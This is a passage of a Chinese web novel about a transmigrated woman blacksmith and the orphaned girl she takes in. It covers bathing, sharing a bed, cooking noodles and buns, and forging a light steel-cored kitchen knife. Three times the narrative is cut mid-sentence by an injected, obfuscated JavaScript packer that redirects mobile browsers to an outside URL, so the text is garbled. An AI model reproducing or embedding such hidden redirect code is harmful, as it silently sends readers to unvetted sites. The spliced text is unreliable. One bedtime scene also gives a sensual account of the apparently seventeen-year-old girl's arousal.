哪想帘子上透出若隐若现的身影,反而更让气氛尴尬。 她控制不住自己的眼睛,一边觉得这样不好,她应该回避的。一边又觉得那影子好美,忍不住多看了好几眼。 她以前也有过这种情况,在网络上看到一些漂亮的、白白嫩嫩的女生,就忍不住多看几眼。 但她以为她只是羡慕和欣赏她们的身材。 可阿雅只是个小妹妹,哪有什么身材可言? 应该只是静夜带起的暧昧氛围,让没有见过如此阵仗的她有点羞涩吧。 江浔“啪”地放下毛笔,手背贴在脸颊上,给脸颊降降温。 而帘中的阿雅,本来身形是背对着江浔的。 帘子有些透光,她从一开始就发现了,做了很大的心理准备,才开始一件一件脱下衣物,赤丨裸地站在里面。 用手臂遮挡在胸前。 她总觉得有些不好意思,也放不开。 但沐浴总不可能一直这样扭捏吧? 犹豫一下后,她又觉得,如果对方是江浔的话就没关系。 她们同为女子,被看几眼又不会掉块肉。 况且,女子和女子之间,应该也不怎么可怕吧? 江浔香香的,虽有一身腱子肉,但也不夸张,反而是颇为匀称。 不使力时,身上软软的,抱起来手感极好。 夜晚两人躺在一张床上时,她会故意紧紧抱住对方,在对方熟睡之际,偷偷捏捏那胳膊上和腰上的软肉。 很舒服~ 不像她从画本子上看到的那些男子一样,壮硕如蛙,臃肿至极。 只看都觉得臭臭的。 如此想着,她便放下手臂,抬手把自己的头发全部挽起,侧身开始沐浴着。 水温正合适,在吹着微弱凉风的夜晚中,也不显得冰凉。 她时不时会透过白色纱帘去看坐在灶台边的江浔,只能看清对方低着头正在写些什么。 极为认真。 即便她在这边沐浴,也不曾被吸引。 忽然的,阿雅心情低落下来,垂着头眼中又湿漉漉的。 想哭。 母亲父亲去世、被继母磋磨、小厮婢女全都能欺辱她、被发卖,每一日每一日神经都是紧绷的,祈祷自己不要再被打骂,祈祷不会有人买自己,祈祷自己不会死。 又祈祷自己可以随意死在某处地方,像小小一片浮萍般,再不用承受那么多。 那日,被那三个汉子围住询问价格之时。 她真的很怕自己会被买走,她不想像个物品般被买走,嫁给不认识的人,然后糊里糊涂过完一生。 但她是被发卖的人,她本身就是个物品,没有丝毫自己做主的权力。 当江浔出现,掀飞那个汉子时,她兀的觉得她好像天上下凡的神仙。 是见她太苦,来拯救她的吗? 她开始期待了,期待自己能被带走,期待自己的生活能有所改变。 即便只能比以前好一点点,她都满足。 后来,她的愿望成真,江浔真的是来拯救她的。 江浔真的对她很好。 她又开始怕了,怕江浔不喜欢她,怕自己帮不上江浔的忙。 怕自己对江浔无用。 阿雅脸上的泪水无声流下,不一会儿就把整张素白小脸打湿,眼尾眼皮红红的。 在故意弄大的水声中,她鼻腔闷声啜泣,不敢让江浔听见。 她只是突然明白,江浔买她是因为江浔人好,让她管家也只是因为家里缺一个可以管家的人。 她并不喜欢她。 可能换做其他任何一个可怜女子,都会被江浔带回家,好好的养起来。 阿雅脑袋低着,舀起水浇在自己身上,默默伤心。 又过了许久,她才用手重重擦掉自己脸上的泪水,再次抬头看向江浔。 她想对江浔有用,不管是管家还是做妻子。 小姑娘的双眼再次明亮起来,有了目标,显得整个人都朝气蓬勃许多。 帘子外的那团影子似乎抬头了,视线在她身上停留,又缓慢挪开。 支楞起来的阿雅一直在看外面的江浔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805903|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以有好几次她都感觉到对方的视线扫过她,停留时间不久。 一晃而过。 皂角浅淡清爽的香味儿逐渐扩散开来,染满整个院子。 帘中身影一举一动仿佛都带着幽香,那香味儿荡漾着扑在江浔脸上,撩过她的发丝、撩过她的耳朵,最后在脖颈处留下燥热。 坐立不安好一会儿,江浔才丢下毛笔,猛地站起身,在院子中转来转去好几圈。 居然开始拿着锄头挖地了! 帘中的阿雅见江浔彻底不再看她,懵了一瞬,委委屈屈加快沐浴速度。 不一会儿就从浴房中走出。 她只穿着一件青色里衣,胸腹部被遮得严严实实,后背却是大片大片露出,只有两根绳子挂在腰处。 勾勒的她身段纤细,柳腰柔软。 江浔可真是怕了她了,明明香味儿就是普通的皂角香,却能让自己面红耳赤地躲去挖地。 结果对方还追过来了。 以前并不觉得有什么不对的衣服,被对方穿的好似有什么能让眼睛黏在上面的魔力。 怎么都挪不开一眼。 见人双眸如玻璃珠般明亮,望着她,声音甜的跟吃过糖似的。 “江姐姐~我好了,我先去床上等你,你快来。” 江浔:。 太奇怪了,这话怎么听怎么奇怪。 江浔狼狈低头,视线躲着阿雅,手中锄头一丢。 急匆匆道:“好,你快去快去!我马上就来。” 然后快步走向简易浴房,去沐浴。 阿雅垂下眸子,看看地上又被多耕出来的,约莫三小块地的土壤,慢慢往屋里走去。 江浔洗完后,快速躺在床上,阿雅挤进她怀中,枕住她的手臂。 两人贴得很近,软软的、香香的,什么都能感受到。 贴了没一会儿,江浔在昏暗的屋子内开口道:“以后也别叫我江姐姐了吧,你与我年岁差的并不多,叫我名字即可。” 原主也才二十岁,两人只相差三岁,可以算作同龄人。 阿雅仰头,即便黑暗中看不见,她也想看着江浔。 “这也不许那也不许,怎豆腐西施叫的,我就叫不的?” 13. 第 13 章 江浔一时半会儿想不出该怎么回答这个问题。 她确实也不知道自己怎么了,明明是小事,自己为什么会觉得有些奇异的感觉? 为什么心里犯痒? 挠也不对,不挠也不对? 抱着阿雅的手臂都不敢乱动,怕摸到那一片白皙的背上去。 只能轻微蜷缩手指,手心攥紧。 思来想去,她也给不出什么好的解释,憋了半晌又道:“倒是也叫的,只是我有点不习惯。” 阿雅蹭蹭她,讲悄悄话般,小声道:“可我想叫你姐姐,想和你亲近,你不要嫌弃我。你要是实在不喜欢我这么叫,那我便不叫了,我会乖乖的。” 说罢,双手又扯着江浔的衣边轻轻摇晃几下。 那可怜的姿态,委屈巴巴的声音,可把江浔给心疼坏了。 在遇见她之前,小姑娘遭遇了那么多苦难,好不容易安定下来,心中当然不安,怕再次回到那种日子中。 想和她亲近一点也能理解,况且她本就比小姑娘大。 叫声姐姐怎么了? 怎么了! 江浔顾不得太多,手臂弯曲,搂住阿雅往自己怀中按了几下,把人抱得更紧。 温热手掌贴在柳腰处时,被那片肌肤的细腻程度惊了一下,有点茧子的手心和修长手指不自觉多摸了几下。 那腰上的伤痕比背上少些,但也有好几条,横亘在整个腰部,起了痂,摸着有些硌手。 和没有受伤的肌肤是两种感觉。 小姑娘受了太多的伤,不知道是多么的疼。 她的手指不愿意离去,蜻蜓点水般在上面慢慢摸着,把小姑娘曾受过的伤记在心中。 温热又带点茧子的手不断在那结了痂,正在长出新肉的地方摸着,不一会儿就把阿雅摸的身体发软,腰肢阵阵发颤。 她如一滩水,软在江浔怀中,脑袋如鹌鹑般埋着。 根本不敢抬头,也不敢发出一丝声响。 齿贝把唇咬红,呼吸都慢慢变得湿丨热。 她从来没觉得自己的腰是那么敏丨感的地方,只是上面的伤处被摸了几下都受不了。 但又不能被江浔发现,这个样子的她太奇怪,怕江浔嫌弃。 脚趾蜷缩,身体开始发烫,脑中也像之前见过的烟花般,开始炸开五颜六色的光。 她的呼吸越来越闷,也越来越小心,身体颤得更加厉害。 让江浔都感觉自己的指尖被震麻。 江浔一下拿开自己的手,又僵硬地放在一旁,声音有些紧张道:“我是不是弄疼你了?伤口流血了吗?我给你看看,再给你涂一次药?” 她的指尖是湿濡的,她以为自己把阿雅的伤口摸坏了。 也以为阿雅是疼到身体颤抖,但却不敢给她说,只能默默忍受。 想到这些,江浔就忍不住埋怨自己为什么不小心些? 明明她现在的力气就比寻常人大,还不知道收着点力。 要是真把好不容易养好的伤摸坏了,她就真对不起阿雅了。 好在埋在她怀中的阿雅缓慢摇头,声音含娇,飘忽不稳道:“无、无碍,不疼,只是太热罢了。” 热? 江浔又抬起手去摸摸阿雅的额头,果真摸到一手的汗。 想到自己体温太高,又把阿雅抱得那么紧,恐怕是真的热了。 她立马掀着薄被,不断抖动着,让凉风能灌进来,吹去燥热。 “别盖被子了,当心热出毛病。” 阿雅却把双脚缠在她的腿上,又说道:“凉。” 那江浔又只好重新把被子搭回两人身上,不过只搭了一角,把肚脐盖住就算数。 她总觉阿雅怪怪的,声音中有说不出的虚弱意味儿,身子也是软的。 别不是真出什么毛病了? 明天还是带阿雅去找大夫瞧瞧吧。 如此决定后,江浔抬手在阿雅头顶揉了几下,安慰道:“别怕,我会永远照顾你,永远把你当妹子的,你有什么事都说与我听,我会帮你的。” 妹子? 阿雅:…… 阿雅顿觉脑袋清明许多,甚至都开始气了,脑袋也从江浔怀中抬起,望着人,嘴巴张了又张。 想了老半天,终于想到自己要说什么,却发现江浔早已睡着! 听着耳边传来的沉重呼吸,又察觉到那双不算太细腻却能感觉出来是女子的手,重新贴在自己腰上。 不老实地摸着。 阿雅又是一阵气闷! 悄悄用手拧了一把江浔的腰泄愤,又怕真的把对方疼到,赶紧放手在她的腰上揉来揉去缓解疼痛。 揉了几下,阿雅发现,江浔根本就没有什么感觉和反应。 又开始觉得自己不争气,明明对方都只把你当妹子!你还被摸的腰软! 没出息! - 第二日,街上不知哪家养的大公鸡扯着嗓子嚎叫起来时,江浔才慢悠悠转醒。 撑个懒腰,准备再躺会儿就起床。 结果眼睛刚闭上就察觉出不对,再猛地睁开,发现阿雅不在她身边。 江浔顿时没了再睡的心思,下床,踩着鞋子往外走。 刚走出屋子,她就闻到浓浓的饭香,鼻子自动开启搜寻功能,边闻边走到灶台旁。 去看阿雅在做什么。 灶台上放着一堆面粉,还有被拉得细长的面条。 锅里的水在翻腾,阿雅看见她来后,笑意盈盈道:“我们今早吃臊子面怎么样?” 她醒的比江浔早许多,躺在床上没什么事做,便直接起来,开始准备早食。 昨日吃土豆炖排骨时,她见江浔有一点肥肉都会吐出来,并不会吃下,所以今日做早食时。 她特意把才买的一块猪前腿肉,肥肉和瘦肉剔开。 洗干净肥肉后,把肥肉放在锅中煸出清亮的猪油,在继续把肥肉煸成油渣。 在等待油渣炸好的过程中,她开始和面。 她打算做臊子面给江浔吃,所以要做的工序还很多嘞。 为了让面团劲道点,她加了少许盐在里面用力揉搓着面团,揉好面还需醒个一刻钟左右,才能做成面条。 醒好的面团要用擀面杖不断擀着,擀成一张又大又圆的面饼子,再叠在一起。 叠个三四层最好,这样切出来的面条长度适中,是最好入口的。 江浔出来的时机刚好,阿雅切完最后几指宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805904|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手擀面后,放下锅煮着,不多时就可以吃了。 “好,看着就好香好好吃,你真厉害。” 会做饭对江浔来说就和会魔法一样神奇,她毫不吝啬自己的夸奖,说着还绕到阿雅身边,想要帮她做点什么。 阿雅也没有推拒,安排道:“那边的白菜叶洗点出来吧,谢谢江姐姐了~” 江浔被喊的有些脸红,赶紧从地上抱起一颗大白菜,扒掉几片叶子,从水缸里舀出一瓢水,埋头在那里洗叶子。 手擀面切好下锅后,阿雅又把早就炸好的金黄脆香的油渣捞起来,一遍一遍滤油。 滤完油,她用筷子夹起一块油渣,喂到江浔嘴边。 “快尝尝,这油渣没有腥臊味儿,也不闷人,想来你会喜欢。” 江浔以前也是吃过这种东西的,所以她没拒绝,张口就把金黄泛香的油渣咬入嘴中。 果然没有油腻闷人的感觉,反倒干干脆脆,还有丝香味儿。 “好吃!”她边咔嚓咔嚓嚼着嘴里的东西,边冲阿雅点头。 见她能吃下,阿雅抿唇笑着用一个盘子装出些许油渣,用一个小碗装上葱段、茱萸、花椒、孜然、酱油等一系列调味料后,让江浔端去桌子上吃。 她自己拿着白菜叶往下放,白菜叶好得快,烫一下就好了。快速捞出面和菜叶,放入早就打好佐料的碗中,倒入面汤,一碗香喷喷冒着热气的手擀面就做好了。 再舀入两勺昨日做的臊子,那肉香味儿,可以飘满整条街! 阿雅喘口气,捏着袖口擦擦自己额角的汗,又问道:“江姐姐,想吃鸡蛋吗?我煎两个蛋放在面里?” 她本来是没想做煎蛋的,但炸油渣刚好出了那么多猪油,可以用来煎蛋。 边说着,她已经边从灶台碗中拿起两个鸡蛋,准备打下锅。 而刚刚把两碗面端到矮桌上的江浔扭头,正巧看见阿雅另一只手在揉着拿鸡蛋那只手的手腕。 脸上虽然依旧带着浅笑,可眉头却微不可察蹙一下,似乎是觉得手腕有些不舒服。 “别忙了,快来坐下休息吧。”她快步走到阿雅身边,旱地拔葱般抱起对方,放到矮桌旁,“你今日怎起这么早?你身体还没好,别累到自己了。” 被旱地拔葱两次,阿雅心态都平和了,身段柔柔坐在凳子上,摇摇头。 “没事,我不累的。早上也没起多早,只比你早了约莫两刻钟。” “以后别起那么早了,早食我出去买,你在床上多养会儿神。或者你想早起就把我也叫起,我帮你。” 这里的人睡得早起的也早,时常天不亮就醒了,但她不一样。 要是没有阿雅的话,她必定要在床上懒到开店前十分钟才起。 不过阿雅在后,她也想早起一点,帮阿雅做事。 “知晓了,江姐姐~” 阿雅也没有同江浔争,左右今日早起是意外,平日里她也不一定能起这么早嘞! 想到是因为什么早起的,阿雅本还净白的脸色变得白中泛粉,像春日里盛开的第一朵桃花。 她在梦中梦到有一只手臂用力箍着自己的腰,手指似乎在自己身上游走,把她搞得汗涔涔的。 而那只手臂,是江浔的。 14. 第 14 章 两人吃过饭后,江浔端着一大盅水走到铺子中,开始忙活起来。 她这打铁铺子是镇西头好几条街中,唯一的打铁铺,街坊领居们讨方便,都愿意到她这里来打点东西。 她的技术也不差,深得母亲真传,是整个镇中最好的铁匠。 所以她每日有不少活儿要做,也有不少东西要打,忙忙碌碌一早上,快到午时才有时间坐下来喘口气,端着水喝。 视线从铺子中扫过,看见那个曾经关阿雅的铁笼子被她放在最角落的位置。 她的铺子中也会卖大大小小各不相同的铁笼,多用于镇子周边那些乡村中关押小兽或猛禽的。 她本也想把那个铁笼卖出去,可现如今看见,又有了新的想法。 正在构思之际,阿雅从院中走进打铁铺,刚一进来就被热气扑面,差点没倒回去。 天上的太阳烈的跟颗火球似的,烫的空气都在跳动,稍有不注意就可能中暑。 这种天气下,还能在火炉似的打铁铺子中待得住的人,都是奇人。 她快步走到江浔面前,用手中的蚕丝帕为江浔擦去额上渗出的汗,手拉住江浔的手,问道:“可是忙完了?那快去院中凉快凉快,午食我也做好了,正好可以吃。” 江浔顺着阿雅那微弱的力气站起身,同时把那蚕丝帕往对方手里塞了塞。 “你收好,专门给你买的,我用了算怎么回事?” “你看,我自己也有帕子用。” 她说的是一张方形棉麻素帕子,平日里就搭在桌上,出汗时拿起一擦,汗液瞬间就能被吸走。 好用得不行。 以往,原主和宋月柔比美之时,还会特意挑选一些颜色明艳、花纹图案秀美的帕子来用。 可她是个干力气活的人,这种帕子不吸汗也就罢了,还不经用。 每每力气大些,都能被扯破。 再加上原主时常想不明白,明明宋月柔做的活儿也需要花费力气,可为什么对方能不费吹灰之力,就能把自己打整的干净漂亮,一颦一笑都极为好看。 而她却不行? 如何费尽心思都比不过,久而久之原主就放弃了,又老老实实用回棉麻帕子。 不过江浔倒是知道为什么。 因为原主本就生的高挑,再加上身上还有使力气使出来的薄肌,怎么看怎么不像一个柔弱女子。 反倒像那种抡起拳头,能把人砸出二里地的人。 在这个女性以柔为美的地方,当然不讨人喜欢,尤其不讨男人喜欢。 那些小男人站在她面前,怕是都觉得自惭形秽。 但这些都不足以成为江浔的苦恼,她没有什么需要讨别人喜欢的想法。 反倒自己有力气、有肌肉,壮壮的,可太令她安心了。 女人就要壮壮! 阿雅扭头,看向江浔手中拿着的有些泛黑的帕子,沉默一息,没有说什么,而是带着人去矮桌前坐好。 用大馒头把江浔手中的黑帕子换走,快速舀几瓢水倒在平日搓衣服的木盆里,把黑帕子放进去,用皂角搓了好几下。 搓出泡沫,放在盆中泡着,这才坐在江浔对面的板凳上。 呼出一口气,心中舒服许多。 起初,江浔还没反应过来怎么了,后面看见那水渐渐被泡黑,她脸色一红,埋着头,用大馒头挡在自己脸前,不让阿雅看她。 一个女生被另一个女生看见她这么糙,这么不爱干净,想想都有点难为情。 还不是因为她太忙了,每天打完铁就什么都不想干,只想躺下赶紧休息。 江浔咬一口自己挡脸的馒头,暗自决定以后绝对要把这些收拾得干干净净。 馒头入口,弹舌富有嚼劲儿,略带点酸味儿,但嚼久了之后,会有一股回甘涌上。 很久没有吃到这么朴素的食物了,明明没有什么太大的味道,但就是会让人觉得好吃。 她没忍住又大口咬上几口,夹上一筷子桌上的白菜炒油渣,香的差点咬到舌头! 等一整个馒头吃下,江浔才双眼发亮的对着阿雅道:“很好吃!你手艺真不错!” 听到江浔夸奖,阿雅也露出笑容,自己捧着一个馒头吃着。 早食剩的面粉还有很多,她便全做了馒头。 街上小商贩卖的馒头表面都有些粗糙,卖相不是很好,她知道一个法子能让馒头变得光滑饱满,像一颗颗润白细腻的上好珍珠。那就是往面粉里加入一小块猪油,揉面时用力把絮状的面粉都柔散。 不一会儿就能得到一团光滑的面团,再把这面团分成拳头大小的几份新面团,加上面粉再继续揉。 揉到面粉彻底把面团包裹住,不黏手后,放到蒸笼是蒸,不一会儿就能做出个顶个皮薄馅儿松软的大馒头。 那表皮光滑透亮到和打磨过的一般,看着舒心,吃着口感也棒。 在蒸馒头前,也可以在馒头中间裹上各种馅儿,让馒头变得更加好吃、口味丰富。 比如常见的就有各种肉馅儿馒头、素馒头、剪花馒头,还有以葵花、荷花等各种花为主的香花馒头。 都是顶好吃的美食。 可家里没有什么食材,阿雅就只能挑两个馒头做成臊子馒头,自己和江浔一人一个。 剩余的馒头则全部是白馒头,在暑日里精细保存,可以管个一两天。 配的小菜也是用早食炸出来的油渣,做的白菜炒油渣。 用圆白菜炒的话,味道会更加酥香,但家里只有长白菜。 也能将就。 除了馒头和白菜炒油渣,她还抽时间做了个过水面。 煮熟手擀面过凉水,会让面的口感劲道有弹性,这时候再加上足量蒜水、葱、茱萸、花椒,以及一点点醋,一盆简单的过水面就做好了。 在这种天气吃上一口,简直清爽可口,不仅能消除暑气带来的烦闷,更是能让人脑袋清明,精神许多。 这么多好吃的,江浔没有客气,唏哩呼噜地吃着,不一会儿桌上的菜就去了大半。 她的肚子也逐渐鼓起。 两人吃完午食,洗完锅碗瓢盆后,江浔去把打铁铺子的门关上,回到屋子中,同阿雅躺在床上,准备午休。 这里的人个个都有午休的习惯,几乎是吃完饭,外面街上就没什么行人和声音了。 躺在床上,江浔用蒲扇有一搭没一搭的扇着风,很快两人就迷迷糊糊睡过去。 - 午休过后,阿雅继续在院子中做着事情,江浔则继续打铁。 按理说,下午正是宋月柔生意忙的时候,哪想对方还有时间端着一碗冰豆花到打铁铺中,扭缠着她讲话。 江浔没怎么回,就不咸不淡地听着,宋月柔讲完了,也就只能尴尬离开。 倒是那碗冰豆花留了下来。 想了一下,江浔把冰豆花端给阿雅吃。 阿雅在忙着研究杂物房里哪些东西可以用,没听见宋月柔来过,以为是江浔去寻的宋月柔。 心情顿时幽怨起来,圆又上挑的眼睛扫一眼她,接过冰豆花,根本不打算让江浔尝,直接把对方赶回打铁铺子中。 让对方继续忙。 但阿雅也不太敢一次性吃太多,便吃一会儿停一会儿,花一个下午的时间才把份量过于足的冰豆花吃完。 回到铺子中的江浔眼中闪过迷茫,不知道为什么一遇见冰豆花自己地位就下降了。 她心中也起了微妙的情绪,不想让阿雅的注意被冰豆花分走。 思绪乱了,没法再认认真真打铁,她开始研究起怎么样把以前关过阿雅的铁笼子,打造成新的东西。 家里的菜刀过于沉重,是她用着顺手的重量,阿雅的话得用再轻一些的。 但一把菜刀肯定用不完铁笼子的铁,她再打点什么东西呢? 厨房用具吧? 昨日阿雅过滤油渣和油时,没有漏勺,极为不方便。 她可以做一把轻巧的大漏勺,再加上一些其他的用具,应该能把铁消耗完。 如此想着,她把铁笼从角落里拖出来,用钳子夹住铁笼两头,一根一根把上面的铁棍卸下来,堆放在铺子中间。 卸完后,又把这些铁棍给剪成大小不过一掌长的小铁段。 把小铁段放入碗形模具中,夹着这个模具到火炉中炙烤。 做这一步时,要不断鼓风,使得火炉中的温度升高,烤化那些小铁段。 当小铁段略微熔化后,把铁夹出来,用力反复锤打,去除杂质的同时使它们融合在一起。 重复这一个步骤,江浔就能得到好几块形状各不相同的铁块。 再把这些铁块加热,制成不同形状的器具,过水降温定型。 便能得到想用的东西。 她先是把其他厨房用具给做了出来,因为这些花不了什么功夫,便能做得很好。 难做的是菜刀。 一把好的菜刀制作起来是极为耗费精力的,菜刀刀面宽刀刃利,可剁可砍,可切可片,一刀多用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805905|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可谓是家家户户必不可少的东西。 甚至用菜刀的厨师们,靠着这一把菜刀就可以走天下,做什么菜都能用。 但一连做了好几把菜刀,江浔却都不觉得满意。 不是太重,用着有些吃力,就是太轻,连拍蒜都拍不了。 如果寻常拿来卖,那重量都是次要的,只要好用大家就会买。 但自家用,她就总想要做的轻巧灵活一些,主要是得让阿雅用着顺手。 就在江浔坐在小凳子上,撑着下巴思考该如何达到标准之时,有个老婆婆走进她的铺子。 也是来买菜刀的。 老婆婆是谭木匠的母亲,江浔买的矮桌就是在谭木匠那里买的。 见她来,江浔站起身,扶着她坐在自己的凳子上,招呼道:“阿婆,你要买什么东西何必亲自跑一趟?让谭叔告诉我就行了。” “无碍无碍,老婆子身体还利索,想出来走走,顺带来买点东西。” 谭婆婆摆摆手,让江浔不用扶着她,她自己撑着腿坐在凳子上。 还喘了几口气。 想来走过来也是不轻松的。 “老婆子想要一把菜刀,家里的刀被你谭叔弄坏了,你再给老婆子打把趁手的。” 谭木匠突发奇想用菜刀砍木头,结果那木头奇硬无比,一下就把菜刀崩断了。 幸好刀片没崩到人身上,不然见血都是小事,恐伤及性命。 谭木匠妻子当场气地拧住他耳朵一顿狂骂,现在他耳朵都还是肿的,不敢出来见人。 听明来意,江浔从摆放铁具的摊子上,挑出一把锋利闪着寒光的菜刀,刀背向着谭婆婆递给她。 “这把刀不错,吹毛断发极为锋利,最是好切菜了。” 稳稳接过菜刀,在手中翻来覆去看着,谭婆婆又道:“还有轻些的没?这刀老婆子都使不动了。” 拿刀的手指微微颤抖,翻来覆去时也有些不太利索。 谭木匠一家不算富裕,谭木匠和媳妇成天都有无数事要忙,谭婆婆看着心疼,就想帮衬着点。 但她年纪大了,越发使不上力了,现在连拿个菜刀都费力。 这可如何是好? 想到这些,谭婆婆眼眶就有些湿润,只是不能在外人面前表现出来。 只能背过身,偷偷把眼泪擦掉,再面对江浔。 江浔听到谭婆婆的要求,也是叹了口气。 她也想打出轻巧一点的刀具,她前世常用的刀具是铁夹钢制作而成的。 钢的强度和韧性都比铁要好很多,如果在刀具中加上钢的话,就可以在减轻重量的情况下,又不会破坏刀本应有的强度。 可巧妇难为无米之炊,这个世界只有铁,没有钢,她也不知道古时的钢是怎么制造出来的。 这可让她怎么办? 她只能安慰谭婆婆道:“我要是能做出轻便的菜刀,一定第一时间通知你,您看您需要把这把菜刀买回去应急吗?” 知道她也做不出更轻便的菜刀,谭婆婆只好无奈答应,提着江浔用布包好的刀,摇摇晃晃离开。 而江浔拿着谭婆婆递来的五十文,眼前出现一个白色盲盒。 最近她卖的东西很多,开盲盒也开了很多,都是些普通东西,她平日里也用不上。 所以再次出现盲盒时,她也没什么期待,直接道:开吧开吧。 下一瞬,金色刺眼光芒包裹着一块铁状物品从盒子中跳出。 【恭喜获得【钢x1】,重量一斤。】 江浔:!!! 钢! 真是瞌睡来了递枕头,得来全不费工夫! 前一秒还在叹气没有钢,后一秒就拿着钢笑的嘴都合不拢。 一斤钢可做的东西太多了,她没犹豫跳起来,抱着一斤重的钢来到火炉旁,准备做一把铁夹钢的菜刀。 分钢、打钢和铁、制形、过凉水。 过的凉水也是有讲究的,她院中的井比别家深许多,打出来的水冰凉刺骨,用来给滚烫的刀过水是最好的。 能让刀身外硬内韧,无坚不摧。 刀打好后,还要在磨刀石上不断打磨,使其锋利,削铁如泥。 一把比巴掌还大些,刀背厚,但整体却轻巧,重量不重的菜刀就做好了。 江浔忍不住拿着菜刀朝阿雅冲去,想要把这把刀送给她,让她试试趁不趁手。 可在院中的阿雅看见江浔举着刀冲来,眼睛不自觉瞪大,水汪汪的眸子中全是惊骇! 15. 第 15 章 在看见江浔举着刀向自己冲来那个瞬间,阿雅在脑海里回想了很多事。 回想自己几次寻死却活了下来,回想自己明明想活下去了,却好像又没机会了? 回想每日清晨麻雀在叽叽喳喳叫闹,回想院子中种下的种子还没有发芽,回想自己晚上准备做肉沫茄子。 一切的一切都充满了希望,都在朝好的方向发展。 难道是她太得意,不经意间冲撞了江浔,才惹的江浔如此吗? 当江浔把刀递到她手中握着时,阿雅脑海中闪过的无数画面,响起的无数声音,纷乱的思绪终于“啪”一声断掉。 只剩大脑一片空白。 脸上的表情也呆呆的,嘴巴微微张开,双眼怔愣地看着她,泪珠从泛红的眼眶滑落。 一滴一滴如同晶莹珠子般砸在江浔手上,还有点在发烫,搞得江浔也呆了一下,立马手忙脚乱起来。 “怎么了怎么了?哭什么?发生什么事了?别哭别哭,没事啊没事,没有什么事是过不去的啊。” 她一只手还握着阿雅拿刀的手,怕阿雅拿不稳受伤了。另一只手则去擦对方的眼泪,动作小心又小心。 小姑娘脸巴掌大,皮肤也嫩,轻轻碰两下,眼下的皮肤和脸颊就红了起来,像颗粉桃子。 睫毛也很长,眨眼间扫过她的指腹,都痒痒的。眼睛委屈巴巴朝上看她,原本上挑的眼眸,都显得微微下垂。 像一只被丢弃的小狸奴,全身灰扑扑的,只有脸略微干净。明明可怜极了,却还是端端正正坐在原地,倔强地仰着头,不愿意暴露出自己的狼狈。 劲劲儿的。 “怎么了?” 江浔干脆又把刀抽回去,放在矮桌上,双臂揽住阿雅往自己怀里抱。 一手还捧着脸擦泪,另一只手则轻柔地拍她的背,声音放柔软,仿佛在念着什么睡前故事。 “出什么事儿了都可以给我说,不要自己憋在心里,待会儿把我们阿雅憋坏了可怎么办?” “如果是谁欺负你了,你尽管给我说,我帮你教训回来。” “不哭了不哭了,小脸都哭花了。” 阿雅的双臂环住江浔的腰,越安慰越是抱紧,脑袋不断在江浔腰上撒娇似地蹭着,好一会儿才又重新抬头看向江浔。 “你往后不要吓我了,我不经吓的。” 日子过好后,她的胆子变得越来越小,不经吓,也经不起什么变故。 只想安安静静待在江浔身边。 “我吓你?” 江浔有些意外,是她把阿雅吓哭的? 她刚刚也没做什么啊?只是举着刀……!? 原来是她举着刀朝阿雅冲去,把阿雅吓到了? 江浔顿时哭笑不得,但又很能理解这种被惊吓的感受。 她把人搂得更紧些,忍不住捏捏阿雅没什么肉的脸颊,道:“你放心,我伤害谁都不会伤害你的。” 阿雅是她带回来的小姑娘,当妹妹一样养着,又可爱又能干,她怎么忍心伤害她呢? “嗯嗯。”阿雅脸颊主动在她手心中蹭两下,蹭出一点点泛红的颊肉,乖巧得不像话,眉眼弯弯,嘴吧唧一口亲在她掌根处,破涕为笑道:“你好像我娘亲哦。” 江浔:。 好好好,超级加辈! 她失笑,手心顺着往上,在阿雅头顶重重揉几下,才侧身又把刀拿过来。 想让阿雅试试趁不趁手。 而在她没有看见的地方,阿雅脸色更加透红,有些不好意思又有些兴奋,悄咪咪在江浔腰上蹭了又蹭。 小姑娘情绪来得快去得也快,很快又被小巧精致的菜刀吸引住视线,拿在手中不断把玩。 这把菜刀要比她之前用的那把小一圈,更加适合她身形和手的大小,用起来丝毫不费力,一挥一砍都轻松许多。 不再像用那把菜刀一样,切完一次菜,就觉得手腕僵硬使不上力气。 但她拢共也才只做过几次菜,没想到就被江浔发现了。 阿雅望向江浔,本就红艳艳的眼眶中又出现泪水,心中暖意翻滚。 她真的很幸运,能遇见这么好的人。 眼见着阿雅又要开始哭了,江浔立马出声止住,“别哭!除了这个,我还有其他东西要给你!” 她掉头就跑,去把汤勺、漏勺、锅铲、叉子……等等一系列东西拿过来。然后单臂抱着阿雅到灶台旁。 催促道:“来吧来吧,我们做饭,我饿了。” 听到她饿了,阿雅瞬间忘记哭,鼻子吸几下气,撸起袖子用襻膊绑住,轻巧的菜刀在手中颠几下。 拿起一个土豆洗干净,放在砧板上,一刀下去先给土豆削出平面,好放稳。 